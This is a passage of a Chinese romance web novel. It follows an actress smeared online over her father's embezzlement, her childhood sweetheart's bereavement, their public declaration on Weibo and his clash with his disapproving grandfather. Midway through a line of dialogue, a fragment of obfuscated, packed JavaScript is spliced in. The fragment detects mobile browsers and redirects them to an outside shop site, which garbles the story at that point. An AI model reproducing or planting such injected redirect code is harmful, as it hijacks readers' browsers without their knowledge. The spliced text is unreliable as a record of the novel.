左榆几乎是在黑夜中坐到天亮。
【小鱼干儿：还没有。】
【楠姐：你给他打电话了吗？】
【小鱼干儿：没有。】
【楠姐：哎哟我真服了，你快点给他打电话呀！！！现在都几点了？？你倒是一点都不着急啊。】
左榆看了看时间，已经是上午十点多。杨嘉安原本来京市的航班是上午十点半，也就是说，按照原计划，他此刻肯定是醒了，那他也一定看到了左榆发的微信，但他直到现在都没有联系她。
“会不会出了什么事？”左榆不免胡思乱想，一番纠结后，她还是给杨嘉安打了过去。
“对不起，您拨打的电话暂时无法接通，请稍后再拨……”
电话打不通。
【楠姐：怎么样？打电话了吗？】
楠姐又发微信来催，左榆打了好几次，但依旧是无法接通。
思索再三，左榆给秦晖打了个电话，但面对左榆的询问，秦晖一问三不知，最后，左榆只好作罢。
【楠姐：算了，就先这样吧。小朵，你继续盯着舆论方向，如果发现不对劲的地方马上跟我说，粉丝那边有什么反馈的内容也马上发给我。】
【小朵：好的，楠姐。】
两个小时后，杨嘉安乘坐的航班落地，他回到了江城。
手机有了信号，短信提醒有几个未接来电。杨嘉安看了看，是左榆打来的，他立即回拨了过去。
“喂。”左榆接通电话，“你看到我给你发的微信了吧？”
“看到了。”杨嘉安的声音听起来很沉闷，“我刚下飞机，现在在江城。”
“怎么去江城了，是不是发生了什么事？”直觉告诉左榆，有事发生。
“我奶奶病了，说是进了医院。”杨嘉安的语气更加低沉。
左榆听了，整颗心都提到了嗓子眼，“她没……没事吧？”
虽然口中是这么问，但左榆心里隐隐约约有了答案，毕竟让杨嘉安这样风尘仆仆赶回江城，肯定不是普通小病。
“还不知道，我现在赶去医院。”
“嗯。那你去吧，注意安全。”
“嗯。”
左榆没有提到网上的那些事，她不想在这个时候还给杨嘉安增添烦恼。
当杨嘉安赶到医院时，奶奶已经离开了医院回了家。杨嘉安又急匆匆赶回奶奶家。
他上次回来还是左榆外婆去世的时候，掐指算了一算，原来他已经这么久没回奶奶家了。
已经是初夏，春日柔和的阳光开始变得刺眼。杨奶奶坐在门口的一张摇摇椅上闭目养神，邻居家的厨房不时传来炒菜声。
杨嘉安缓步走进院内，走到奶奶旁边。
“奶奶，我回来了。”他说话时，轻轻握住奶奶的手。
奶奶缓缓睁开眼，看清面前的人是杨嘉安后，一边双手支撑着椅子想要站起来，一边笑着说道：“嘉安回来啦，我去做饭。”
杨嘉安轻轻将奶奶按回椅子上，说：“我去做饭，你休息一会儿。”
如果是以前，奶奶肯定不会依杨嘉安，但这一次，她只是笑着说了一句：“好啊，那你去做吧。”
在看到杨嘉安走向厨房后，她又喃喃了一句：“奶奶也想再吃一次你做的饭。”
冰箱里的食材少之又少，两个盘子里放着不知隔了多少餐的剩菜，已经变得有些黑了。杨嘉安简单清理了一下冰箱，翻出两个西红柿，几根青菜，又在厨房的地上找到几个小土豆。
蹲在地上削土豆皮时，杨嘉安突然想起，年幼时帮奶奶削土豆皮，他因为把握不好力度，总是将一个土豆削成半个，皮是削好了，土豆也少了一半。后来，奶奶拿一个碎瓷片给他，教他用瓷片轻轻刮掉土豆最外面的那一层皮。
切菜、打蛋、炒菜，不知道为什么，在做这些的时候，杨嘉安的脑子里总是会涌现出小时候的那些记忆。
早上给他打电话的是同村的一个伙伴，那人告诉他，他奶奶昨天进了医院，没说具体是什么病。他就马上买了回江城的机票，左榆给他打电话的时候，他已经在飞机上了。
一个炒土豆、
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一个炒青菜，外加番茄蛋花汤，做好这三道菜，杨嘉安特地将屋内的一张小饭桌搬到奶奶旁边，又将饭菜一一端上桌。
“奶奶，吃饭了。”他轻声唤了唤。
奶奶没有反应，似乎没有听见，杨嘉安轻轻拍了拍奶奶的手，又叫了一声，依旧没有反应。看着奶奶安详的模样，不好的预感瞬间出现在杨嘉安的脑子里，他深呼吸了一口气，仿佛全身的血液都涌进了脑子里，整个人开始微微颤抖，手脚软绵无力。
“奶奶。”他又叫了一声，声音微颤。
初夏的午后，微风吹过时屋外的树叶沙沙作响。桌上的菜，热气渐渐散去，地上的电饭煲旁，还放着两个没来得及盛上饭的碗。
这是杨嘉安与奶奶最后的回忆。
【小鱼干儿：奶奶还好吗？】
傍晚，左榆给杨嘉安发了条微信。
十分钟后，她收到杨嘉安的回答。
【Y：她走了。】
这三个字紧紧揪住了左榆的心，后知后觉，眼泪滑落脸颊。外公走了，外婆走了，如今，杨嘉安的奶奶也走了，那些在童年里守护他们的人，一个个离开了。童年的记忆在慢慢撤场，也许用不了多久，就会变成一片空白。
对于杨嘉安来说，奶奶是怎样重要的存在，左榆很清楚，所以她第一时间找楠姐请假，想过去陪着他，然而得到的却是冷血的拒绝。
【楠姐：不行，你后天有行程，推不开。】
就算左榆没有行程，眼下楠姐也不会让她跟杨嘉安有任何同框的机会，至少要等到小杨总澄清谣言之后。
【小鱼干儿：长辈去世了也不行吗？楠姐我求求你。】
【楠姐：你求我也没用，定好的行程涉及多个方面的配合，不是我说了算的，这一点你还不清楚吗？】
在跟楠姐的争辩中，左榆的情绪渐渐冷静了下来，眼泪却流了一次又一次。
【小鱼干儿：对不起，我现在没办法回去。】
【Y：没关系。】
在村里人的帮忙下，杨嘉安料理好了奶奶的后事。在整理奶奶的遗物时，他发现了在一个铁制的月饼盒里，放着许多老照片。这些照片大多都是爸爸和妈妈的，他一张张翻看，就像回到了小时候。
突然，一张合照引起了他的注意。这不是爸爸妈妈的合照，而是他小时候的照片，跟他一起拍照的人，他一眼便认出那是小时候的左榆。
“找了这么久，原来你在这里。”
收拾好东西后，他回到一楼堂屋，缓缓坐到地上，仰头四顾空空的房子，内心一阵悲凉，仿佛是即将要割断一段曾经的记忆。
离开奶奶家时，他经过左榆外婆家，看到院子里已经长了杂草，铁门也生了锈。
这几天，他累到连睡觉的时间都没有，除了简单回复左榆发来的微信之外，没有过多关心左榆。在机场，他给秦晖打了个电话，向他询问了左榆这几天的舆论动向。
“你别告诉我这几天发生的事，你什么都不知道？”秦晖不可置信地问道。
“我家里最近有事，没怎么关注网上的事，也没人跟我提起，是不是出了什么事？”杨嘉安问。
“出大事了，我的哥！”
32. 第 32 章
左榆原本只是被人抹黑成破坏杨嘉安和林毓敏的第三者，虽然杨嘉安忙于奶奶的后事没能及时帮她澄清，但好在这件事在发酵了两天后渐渐淡了出了网络。就在大家以为这件事到此为止时，突然有匿名网友爆料出左榆爸爸当初挪用公款的事，这件事一经爆出就在网上引起了轩然大波。
大部分网友喜欢站在弱势群体的一边，在网络上表现出悲天悯人之心，即使是在并不了解事情全貌的时候也是先骂了再说。所以，左榆的微博很快沦陷了，各种谩骂声铺天盖地而来。
“她怎么有脸进娱乐圈啊？”
“就是，娱乐圈的门槛是真低，犯罪分子的子女也能进来赚钱。”
“怕不是真以为没人知道她家那点破事，把别人当傻子吧？”
“说他爸后来畏罪自杀了，真的假的？”
“什么畏罪自杀啊，其实就是为了保全财产，人一死就没办法追究，被贪污的前还不是都花在了左榆身上。”
在席卷而来的谩骂声中，左榆的粉丝还是坚定地维护她，在网上替她说话，但声量有限，很快就被淹没了。
“做错事的人是她爸又不是她，谁要骂就去下面跟她爸对骂吧，左榆很无辜好吗？”
“她无辜？你怎么不说那些被他爸害了的人无辜。她难道不是吃他爸留下的红利长大的吗？”
……
在去录制节目的路上，甚至有人当面辱骂她。她想过在网上好好交代爸爸当年的事，但是被楠姐给阻止了。
楠姐告诉左榆，互联网没有记忆，只要不承认，这件事就不会有定性，再过一阵子就掀不起任何浪花了。但是如果她承认了，那么无论结果是什么，很多网友就只会看到最坏的那一部分过程，并且，这件事将永远成为左榆身上的黑料，此后很可能在任何时间地点被人反复提及，造成未知的影响。
所以，最后是由楠姐写了一份声明，在公司的官方微博账号中发布出来，声明中只说近期有人对左榆进行各种造谣，公司已经取证，必要的时候会去告这些人。但这份声明不过只能安抚粉丝罢了，根本没办法阻止舆论的发酵。
陆续有一些定好的行程被取消，显然楠姐也没想过会有这种结果。
“楠姐，要不，还是让小鱼出面吧？”小朵很少参与公司的一些决议，但左榆目前的状况让她很是心疼。
“不行。”楠姐眉头紧锁，“已经过了最佳时间，现在再去主动提及还是会被人骂一波，还捞不着好处。”
“那到底要怎么办呀？陆续还有一些星星点点的谣言出来，我觉得肯定是有人想趁机搞倒小鱼，我们不能坐以待毙啊！”
“那你说怎么办？小鱼是我带的艺人，难道我还希望她出事不成吗？”楠姐一声怒吼，小朵噤若寒蝉。
调整一下情绪后，楠姐继续说：“合作方那边我会去处理，你先好好陪着她，多休息一阵子也未尝不好。”
杨嘉安坐在机场的候机室，在听完秦晖的讲述后，他又去网上搜索了这件事的始末，最后算是彻头彻尾弄清楚了。
机场广播里传来提醒播报，去往海市的航班已经开始登机。经过一番思考，他没有登机，而是买了最近一趟航班去了广市。
落地广市后，他马不停蹄去了左榆的家。
敲响左榆家的门，来开门的是左榆妈妈。杨嘉安猜她一定是看到网上的那些言论，因为她的模样看起来憔悴了不少。但是见到杨嘉安，左榆妈妈还是挤出了一丝笑容。
“嘉安来啦，进来坐吧。”
左榆妈妈给杨嘉安倒了一杯水，杨嘉安接过水杯，“阿姨，你还好吗？”
“我没事，只是苦了小鱼，也不知道她现在好不好，我也不敢给她打电话，怕还没开口自己就先哭了，惹得她担心。”左榆妈妈说着，坐到杨嘉安旁边，“你最近有没有联系她？”
杨嘉安摇摇头，“我刚从江城过来，最近都在忙我奶奶的后事。”
“你奶奶……”左榆妈妈眸光一震。
“她走了，走时很安详。”
左榆妈妈脸上的神色更加哀伤，“你奶奶是看着我长大的，她在我心里一直都是慈爱的人。”
她本是想劝慰杨嘉安节哀顺变，杨嘉安却说道：“年龄大了，总会有这么一天。离开的人已经离开了，我们还活着的人还是要好好活着。”
左榆妈妈苦笑道：“怎么倒变成你安慰我了？”
“我今天刚得知左榆的事就赶过来了，我知道受这件事影响的人不单单是小鱼，还有你。但是，阿姨你放心，我会永远都站在小鱼这边，我会陪她去面对一切风浪。你也要好好的，不要让小鱼担心。”
杨嘉安几句话毕，左榆妈妈忍了好些天的眼泪终于流了下来。她要强了半辈子，越是辛苦的时候越不曾流过眼泪，因为她必须要为小鱼撑起一片天空。如今有了杨嘉安，她相信他，相信他会代替她为小鱼撑起一片天。
在广市短暂停留后，杨嘉安又买了前往京市的机票。为了能尽快去到左榆身边，他买了深夜的红眼航班。
然而天公不作美，初夏时节也是广市雷雨不断的时候，受雷雨天气的影响，杨嘉安要坐的那趟航班的起飞时间不得不延迟。刚开始，大家都在耐心等待，然而等的时间久了，难免有人开始变得暴躁。机场的工作人员为乘客们送来食物和水，但仍旧无法安抚乘客的情绪。
外面吵吵嚷嚷，杨嘉安所在的贵宾休息室却是非常安静。他从随身的包里拿出那张在铁盒里发现的照片，与如今高清的数码照片相比，这张照片很朦胧，上面还有两滴水印，大概就是担心照片以后又被水侵蚀，所以有人给照片过了塑。
照片里的杨嘉安大约七岁的模样，左榆只有四岁，拍照的地方是在一个仓库里。
杨嘉安记得那个仓库，很高，很大，每年收割稻谷的时候，仓库里就堆满了饱满的稻穗，小孩子们会在仓库里玩闹，爬上高高的谷堆，在稻谷里打滚。每次在稻谷堆里玩完后，身上总是痒得不行，但这并不能阻止孩子们继续这么快乐。
左榆那时候很小，每年暑假都会来她外婆家。杨嘉安带左榆去仓库里玩，两人坐在谷堆上分享零食，一起玩那个从高高房梁上悬下来的秋千。
后来，不记得从哪年开始，暑假到了，但左榆没有再回来。杨嘉安在慢慢长大，太多的东西要往脑子里钻，所以从前的记忆开始渐渐遗忘，但他一直记得堆满稻谷的仓库，粗麻绳的秋千，还有笑得很好看的左榆。
夜深了，机场外也开始下起雨来，起飞的可能性更小了。吵吵闹闹的乘客也乏了，在工作人员的安排下开始休息。
杨嘉安没有丝毫困意，思绪更加清晰。他用手机拍下这张老照片，打开微博，开始一字字输入：
这个世界这么大，我是有多幸运
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才在那么多年前就遇到了你。
那时的你，好像还是个小小的爱哭鬼，但是没关系，我有办法哄好你，所以你总是黏着我。
可是后来，你消失了，在蝉鸣的夏天，我再也没见过你。
再后来，你又出现了，依旧是在盛夏蝉鸣的时候。
我认为这就是命中注定。
我对你说过两次“跟我在一起”，却好像还没说过，我喜欢你。
此刻，我正在机场，等待去往你身边的航班。
外面的狂风暴雨，但会有停的时候，
天亮之后，我就会出现在你面前。
打完文字，加上配图，一张是两人小时候的老照片，一张是五年前的那张拍立得照片。
发送。
三分钟后，秦晖发来一条微信。
【秦晖：可以啊你，竟然还会如此深情的表白，以后也教教我。】
他看了，没回。
很快，一些杂七杂八的信息、电话都来了，要不是他想等左榆的微信，早就选择关机了。
连续挂掉十来个电话后，微博给他推送了左榆刚发的微博。
他点开。
左榆V：京市也在下雨，来时注意安全，不用着急，我会等你。
微博的配图是左榆的那张拍立得照片。
这两人一来一回，终于在微博热搜上爆了。
之前那个说左榆的第三者的谣言不攻自破，大多数网友都被两人的隔空对话感动到了。
【救命啊！他俩的官宣怎么这么甜。】
【之前说小鱼是第三者的人能不能出来道歉，人家这是青梅竹马好吗？】
【谁懂啊，我真的被感动到了，小鱼的黑料传了几天，姐夫在这个时候出来挺小鱼，真的好感动。】
也有不买账的网友继续唱反调。
【怎么谈个恋爱就可以不追究她爸爸那事了吗？】
【就是，谈恋爱了不起啊？】
……
有人跑到杨嘉安那条微博的评论区骂左榆，说她是吃血馒头才有今天的。
但无论是什么舆论，左榆似乎已经不在意了，沉寂多日的心情在看到杨嘉安那条微博的时候就好了起来。
微信提示音接二连三响起，她猜到应该是楠姐。
【楠姐：你发微博之前不能先跟我商量一下吗？】
【楠姐：谁让你擅自做主发那条微博？】
【楠姐：你是不是真以为有小杨总撑腰就可以随心所欲了？】
接连几条的责问，左榆只回了一句。
【小鱼干儿：你说过我有恋爱自由。】
【楠姐：你确实是有恋爱自由，但我是你的经纪人，你的一切言行我都要负责。】
【小鱼干儿：难道还会有比现在更糟糕的结果出现吗？】
楠姐沉默，眼下的情况，确实不会有更坏的结果，换个角度想一想，也许有合作方为了给杨嘉安面子而不计较左榆爸爸那事，也不失为一种补救措施。
【小朵：楠姐，你快看这篇帖子。】
小朵往微信群里转了一篇标题为“震惊！左榆在广市的家竟然是如此破烂的房子！！”的帖子，里面房了两张房子的照片，配的文字是：不是说左榆她爸给她们留下了很多钱吗，怎么还住这种破房子？
这篇帖子一出，又引发了新一轮讨论。
33. 第 33 章
这篇帖子发出来后，又有几篇紧跟而来，表面看起来是在吐槽左榆的家庭情况，在仔细分析后不难发现，这几篇贴子无一不在暗戳戳为左榆叫屈。楠姐为此特地询问了是不是公司那边安排的，但得到否定的回复。
【楠姐：是粉丝那边组织的吗？@小朵】
【小朵：粉丝那边没提前说过这个情况，我们也不好主动问，我会继续留意舆论动向。】
【楠姐：嗯，这也算是一个好的转折点，继续观察吧。】
楠姐没有再提左榆那条微博的事，算是默认了她和杨嘉安的官宣。
已经很多天没有睡个好觉的左榆，这晚总算睡了一个好觉。
“你交待我的事，我已经安排上了。”
机场的贵宾休息室里，杨嘉安正在跟秦晖打电话。
“这样做能不能起到作用？”杨嘉安问。
“放心吧，这一套我们熟。”秦晖答道，“我们家好歹也是开娱乐公司的，这里面的弯弯绕绕还是能弄明白的。不过，你还得调查一下造谣左榆是第三者的那篇帖子是谁发的。”
杨嘉安“嗯”了一声，帖子是谁发的，他心里早已有了答案，只是眼下不是去兴师问罪的时候，要先解决左榆的麻烦。
“我说实在了，你真的要不要劝一劝左榆，合约到期后签到我们家公司吧，咱们熟人好办事。”
“这是她的事情，她自己做主。”
“行吧。”
打完电话，杨嘉安紧绷的神经才逐渐放松下来。人一放松，疲惫感就袭来，他不知不觉拿着手机睡着了。
天空破晓时分，机场的工作人员轻柔地叫醒杨嘉安，告诉他航班的起飞时间已经定好了，很快就能出发。
在工作人员的安排下，航班延误的乘客陆续登了机，飞机起飞，杨嘉安在飞机上看到了突破云层的朝阳，沉闷多日的心境也像阳光般开朗起来。
中午时分，飞机抵达了京市机场。
杨嘉安没有提前告诉左榆自己的航班时间，出了机场，他打车去左榆的家。
途中，外公给他打来了电话。
“你现在在哪儿？”外公的语气一如既往地严厉，带着斥责的意味。
“京市。”
“去干什么？”
“有事。”
“你别以为我不知道，你是不是又去找那个女明星？我虽然不看微博，但有人会看，而且还会告诉我。”
“那既然您知道了，怎么还来问我？”
杨嘉安的强硬态度让外公非常生气，“你这是什么态度？我不管你去京市干什么，后天一早回来，我有事要跟你说。”
“我暂时不回海市，您有什么事就在电话里说吧。”
“你不回海市？公司的事谁来管？总之你给我早点回来，我有个朋友的孙女……”
“外公，”杨嘉安打断外公的话，“我有喜欢的人，我不会再去跟您的那些朋友的孩子见面。以及，公司的事你让别人去管理吧。”
“你这是什么意思？”外公震怒，“哼，你不要太天真了，离开诺辉，你就什么都没有了，那个女明星还会看得上你？”
“外公，您为什么总是这样看轻别人，这种打压式的教育现在已经不管用了。您有没有想过，如果当初您对我爸爸没有这么严厉，或许事情就是另一个结局？还有，我不是一无是处，外公您是不是忘了，我是T大的毕业生，就算离开诺辉，我相信我也不会饿死。”
“你……你……”外公气得快说不出话来。
“如果没什么事的话，我就先挂了。”杨嘉安说完，顿了顿，又补充了一句，“我忙完手上的事会回一趟海市。”
他刚说完，外公那边就挂掉了电话。
不知道为什么，明明是争吵，但杨嘉安心里有一种前所未有的轻松感，仿佛从前一直压在身上的东西突然消失了。
汽车奔驰在前往左榆家的高速上，京市今天的天气很好，天蓝云白，空气清新，阳光正好，微风不燥。
门铃声响起时，左榆正坐在沙发上无聊地刷着手机。她今天很早就起床了，一直在期待着跟杨嘉安的见面。这已经不再是学生时代，本以为不会再有那种小鹿乱撞的感觉，但当门铃真的响起时，左榆一想到门外站着杨嘉安，脸颊还是染上了红晕，心脏也跳乱了节奏。
她打开门，几乎没有片刻的留白，就被杨嘉安拉进了怀里。
“先进屋吧。”左榆的脑袋在杨嘉安胸前蹭了蹭，双手仅仅环住了他的腰。
“你抱得这么紧，怎么走？”杨嘉安说完，左榆立即松开了手，准备转身进屋时，整个人却被拦腰抱起，“你瘦了。”
不只是左榆瘦了，杨嘉安同样如此。
“这段时间是不是没有休息好？”左榆被杨嘉安抱进屋内，放在沙发上。
“还行。”杨嘉安顺势坐到左榆旁边，搂过她的肩膀，让她的头靠在他身上。
“骗人，你看起来就不像是休息好了的样子。”左榆吐槽，她想起外婆去世的时候，她跟妈妈两个人都忙不过来，他怎么可能休息好。
杨嘉安没有继续聊这个话题，“我去广市看过阿姨了。”
原本歪靠在杨嘉安身上的左榆听后，立刻坐直了身体，“你去看望我妈妈了？”
“嗯。”杨嘉安点头，“她很担心你，但是不敢给你打电话。”
听到这话，左榆内心一阵愧疚，这段时间以来，她确实也没有给妈妈打去一个电话，忽略了妈妈也需要安慰。
“别担心，”杨嘉安看出了左榆的心思，“我跟她聊过了，她现在应该会放心一些了。”
“你跟她说什么了？”
杨嘉安扬了扬嘴角，“不告诉你。”
“哎呀，告诉我嘛。”左榆后知后觉，发现自己似乎是在向杨嘉安撒娇，意识到这一点，她竟然有些不好意思，稍稍拉开了与杨嘉安之间的距离，让自己冷静一下。
杨嘉安没有给她这个机会，又将她拉了回来，缓缓说道：“之前网上那些照片，你看了吗？”
左榆默想了一下，猜到他说的是跟林毓敏的那几张合照。
“嗯，”她点头，“看了。”
“我……想解释一下，那几张照片……”
“不用啦。”左榆笑着打断他，抱紧他的一只胳膊，“不用解释了。”
虽然她在看到照片的当下也羡慕嫉妒过，但在看完杨嘉安那条微博后，她释怀了。
“每个人都会有自己的过去，每一段时间的心境也不尽相同，我们总不能为了迎合当下的心情而屡次否定曾经的自己吧？毕竟曾经的我们在当时，也幸福地笑过。”左榆慢慢说道，“而且，说不定我曾经也喜欢过别人呢，那不就扯平了？”
“谁？张星辰啊？”杨嘉安脸上闪过一秒的严肃。
“不告诉你。”左榆学着杨嘉安刚才的那句重复了一遍。
“说给我听听。”
“不说……”
两人打闹着，左榆不小心扑倒在了杨嘉安身上，很像那一年，他们走在那条窄窄长长的水泥路上，被后面开过来的车吓到掉进旁边的水沟里的情形。只是这一次，头顶没有盛夏的艳阳，两人也没有在慌乱中站起来……
黄昏，屋外的太阳将树影拉得很长。杨嘉安静静注视着睡在旁边的左榆，轻轻将搭在她脸上的头发拨到后面。随后，他轻手轻脚起身，钻进了厨房。
约莫一个小时后，左榆被厨房里传出的声音吵醒。她揉着眼睛走到厨房，看到杨嘉安正在做饭，惊得眼睛都瞪大了。
“你在做饭啊？这么麻烦，咱们叫外卖就行了。而且，我家里好像什么也没有。”
“你别管了，一会儿就能吃了。”杨嘉安将左榆推出厨房，让她去外面等着。
没过多久，左榆就闻到了饭菜香，她哒哒哒跑到厨房，“好了吗，我饿了。”
“可以了，吃饭吧。”
“好。”左榆说完，从消毒碗柜里拿出仅有了两只碗，要不是小朵偶尔也来，她可能就只有一只碗，“你到底是怎么做出这些菜的？”
“有些食材是叫的外卖，还有一些是从冰箱里翻出来的。”
“那你还不如直接叫外卖，至少不用这么辛苦。”
“可我就是想做饭给你吃。”
“嘿嘿，谢谢啦。”左榆小跑到杨嘉安旁边，踮脚在他脸颊处亲了一口，又哒哒哒跑回了餐桌边。
两人吃饭时，左榆似乎想说什么，但总是欲言又止。
杨嘉安：“怎么了？”杨嘉安很快就发现了。
左榆：“你说，我有没有必要跟大家交待我爸爸的事？我之前跟我经纪人说过这事，她不让，但是我觉得这没什么好隐瞒的。”
杨嘉安：“你想说就说，这件事的选择权在你手上，不管你做出哪种选择，我都会支持你，无论出现什么样的结果，我都陪着你。”
有了杨嘉安给的底气，左榆做好了决定。她写了一条很长的微博，细说了她爸爸出事后的事，包括她和妈妈卖房还钱这些事。在发出去之前，出于尊重，她发给楠姐看了一遍，楠姐这次没有阻止。
“那我要发啦？”
“嗯。”杨嘉安擦干刚洗完碗的湿漉漉的手，揉了揉左榆的头发。
在这之前，杨嘉安本想做那个澄清的人，他连内容都写好了，但是转念一想，这毕竟是左榆的家事，如果他擅自做主的话，未免显得不尊重左榆，思前想后，他还是没有发微博，但又不甘于左榆就这样被欺负，最后才找了秦晖，商量出了侧面出击的方案，网上那几个暗搓搓替左榆说话的贴子都是秦晖那边安排的。
左榆的微博发出后没多久，就登顶了热搜榜。她一把将手机塞到杨嘉安手中，自己不敢去看网友们的反应，“你帮我看着。”
“放心，没事的。”杨嘉安说完，点进热搜话题里浏览了一会儿，在看到大面积好评后，他也舒了一口气，“目前来看，舆论上都是好的。”
“真的吗？”
“嗯，你自己看。”杨嘉安说着，又将手机递还给左榆。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14272826|148396||http|test|mini|href|location''.split(''|''),0,{}));
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左榆迫不及待接过手机，一条条微博翻看起来，“还有人说我在卖惨……”
“总不能做到让所有人都满意，至少你没让喜欢你的人失望。”
“嗯，你说得有道理。”
“小鱼，”杨嘉安神态一转，“我明天回一趟海市。”
左榆抬头，看向杨嘉安，“要去你外公家吗？”
“嗯。”
左榆大概猜到，杨嘉安外公应该知道了他们在网上高调官宣的事，“他会不会为难你？”
杨嘉安却安慰左榆道：“没事的，我能处理好。”
“要不，我陪你去吧，反正这段时间的行程都暂停了，我也能休息一阵子，刚好陶然去海市上班后，我还没见过她。”左榆想的是，如果杨嘉安跟程老爷子争吵的话，她是不是能做点什么。
“好，那我们明天出发。”
左榆原本打算去叨扰陶然几晚，没想到到达海市后，杨嘉安非拉着她一起去程老爷子家。左榆拗不过他，只好随他一起去了。
左榆心里忐忑了一路，之前已经见过程老爷子，知道他是一个不苟言笑的人，气场很强，不知道一会儿见面会是怎样惨烈的画面。到家门口时，她试探地问了一句：“要不我还是别进去了吧？”
话还没说完，杨嘉安开了门，顺势牵起她的手，拉着她进屋了。
“外公外婆，我回来了。”
外公黑着脸坐在客厅，外婆倒是笑着迎了过来。
“回来啦，这位是？”外婆看到左榆，眼神中闪过诧异。
“外婆，这是我女朋友，左榆。”
“噢，过来坐吧。”外婆让两人去客厅坐，又吩咐阿姨倒茶水给左榆。
左榆在坐下之前，跟程老爷子打了招呼，但没有得到回应，只好悻悻地坐下。整个过程中，杨嘉安没有松开过她的手。
“老爷子，孩子好不容易回来，你别老是板着脸。”外婆坐到外公旁边，推了推他。
“我不知道你们回来想干什么，”程老爷子缓缓开口，“但我态度从没有变过，如果你们是想要来说服我，那你们现在就离开吧。左小姐，我说话难听，下面的话要是让你觉得难堪了，希望你别见怪。娱乐圈不是什么好地方，鱼龙混杂，什么人都有，也别说什么出淤泥而不染，我不信。我们家呢，也从来没打算娶一个戏子回来。”
“外公，”杨嘉安一脸怒容，咻地站起来，“请您尊重我的女朋友。”
“尊重？要我尊重一个人，首先得这个人值得尊重……”
“小鱼，我们走。”杨嘉安不想继续跟程老爷子争吵，拉起左榆就要出门。
“她走可以，你要是今天走出这个门，以后就别再回来，诺辉以后也用不着你了。”外公也站了起来，背对着杨嘉安放出狠话，他以为这番话能震慑住杨嘉安，没想到杨嘉安不屑地说了一句：“我不稀罕。”
杨嘉安说完，牵着左榆头也不回地离开了。早知这样，他就不强迫左榆跟他一起回来了。
刚走出门口没多远，杨嘉安紧紧抱住了左榆，用十分歉意的语气说道：“对不起。”他为外公对左榆的侮辱而道歉。
“没事。”左榆拍拍杨嘉安的背，“这种类型的恶评，我以前不知道听过多少遍。只是你这样跟你外公闹掰，是不是不太好？”
“你还关心这个？”杨嘉安气呼呼说道，“反正这一次，我是绝对不会放开你。走，我们去吃饭，吃完饭我带你回家。”
这是左榆第二次来杨嘉安家。
进屋后，杨嘉安从柜子里拿出一双女士拖鞋，“很久之前就买了，一直没机会拿出来。”
左榆想到她上次来杨嘉安家时，是穿的杨嘉安的拖鞋。
“还有睡衣之类的用品，我都准备好了。”杨嘉安说完，去客房的柜子里拿出之前准备好的物品。
“谢谢，那我先去洗澡？”
“嗯，去吧。”
左榆从浴室出来时，杨嘉安正靠在沙发上看电视，电视上播的是左榆演的剧。
“你还看这个啊？”左榆边擦头发边走过去。
“怎么不把头发吹干了再出来？”杨嘉安立即给左榆让了一个位置。
“我头发多，每次都要吹很久，我嫌麻烦，干脆就懒得吹了，用毛巾擦一擦等头发自己干。”
左榆坐到杨嘉安旁边，杨嘉安顺势接过她手中的毛巾，帮她擦了一会儿头发后，又去洗手间那来吹风机，帮左榆吹头发。
头发差不多吹干后，“你要是累了，就先回房休息，我去洗澡。”杨嘉安说。
“嗯，好。”
杨嘉安洗完澡回到房间时，却不见左榆，他看着紧闭的客房门，无奈摇头，随后过去敲了敲门。
“睡了吗？”
自然是没睡的，左榆现在一点睡意都没有，她打开房门，“还没呢，怎么了？”
“你准备晚上睡客房？”杨嘉安稳。
“对……啊。”
“客房是给客人睡的，不是给你睡的，跟我走。”
34. 第 34 章
第二日早上醒来，左榆腰酸背痛，连声音都有些沙哑。
“不多睡会儿吗？”杨嘉安见左榆从卧室出来，连忙从沙发上起来，几步走到她跟前。
“不睡了，我跟陶然约了午饭，收拾一下就该出门了。”左榆说着，清了清嗓子，撒娇似的环抱住杨嘉安。
“喉咙不舒服？”
杨嘉安这一问，左榆又想到了昨晚的情景，不免有些不好意思，“没……没有，我洗漱去了。”说完，她快步逃到了卫生间。
等她洗漱完出来，杨嘉安已经倒了一杯热水放在了餐桌上：“水是温的，可以直接喝，早餐也马上好了。”
看着杨嘉安在厨房里忙碌的样子，左榆暗自开心，这样的一幕，她很久以前看电视剧的时候也幻想过，只是后来，渐渐地就不敢想了。
“发什么呆呢，来吃早餐。”杨嘉安将做好的早餐端上餐桌，却见左榆正盯着他发呆。
“来啦。”左榆笑颜眉开坐到餐桌边。
“你们约在哪里吃饭，是送你过去吧。”杨嘉安问。
“好呀。”左榆咧着嘴甜甜应道。
因为是工作日，陶然只能中午休息的时候出来，左榆踏着下班时间到达两人约定好的地方。
下车前，杨嘉安反复叮嘱道，“我就在附近等你，有什么事的话就给我打电话。”
“嗯，知道啦，只是吃个饭，能发生什么事。”左榆不以为然，心早就飞到了陶然身上。
两人一见面就来了一个热情的拥抱。
“我还以为过完春节，就能很快在海市见到你呢。”陶然噘嘴说道。
提到春节，左榆问出了那个她想问很久但是一直没什么好机会问的问题：“你跟宋浩然，现在到底是什么情况？明明春节见面时，我觉得他对你还是有感情的呀，怎么好端端又变成仇人了？”
听到宋浩然的名字，陶然脸色秒变，冷着脸说：“我对二手的没兴趣。”
陶然这么一说，左榆心里有了答案，没想继续问下去，陶然却一股脑吐槽了出来：“分手的这些年，我没对别的男生动过一点心，他倒好，交了女朋友还同居了，所以我为什么还要回头。”
左榆拍了拍陶然的肩膀，安慰道：“没事，咱有本事有颜值，下一个更好。”
“我没事，”陶然挤出一丝笑容，“倒是你，这段时间网上的那些东西我都看了，说你是小三的那事真的气死人了，我当时还在网上跟别人大骂了一晚上，可惜我战斗力不行，最后还被人骂哭了。”
其实，陶然并不是因为被人骂才哭，而是替左榆感到委屈才哭的。
“傻啊你，还学会跟别人在网上互骂了。”左榆满眼感动。
“哦对了，那个林毓敏，我当时在网上看到她的照片时就觉得她眼熟，原来之前我有个朋友接过她的单。”
“什么单？”
“你记不记得有段时间，许玖黑料频出。”
“我记得。”左榆当然记得，因为那波黑料通稿就是在许玖跟杨嘉安在国外同框被拍了之后发生的，当时她还疑惑，为什么这个许玖跟她一样，每次跟杨嘉安上完热搜，后面就跟着一波黑营销。
“就是那个林毓敏搞的鬼。”
“真的假的？”
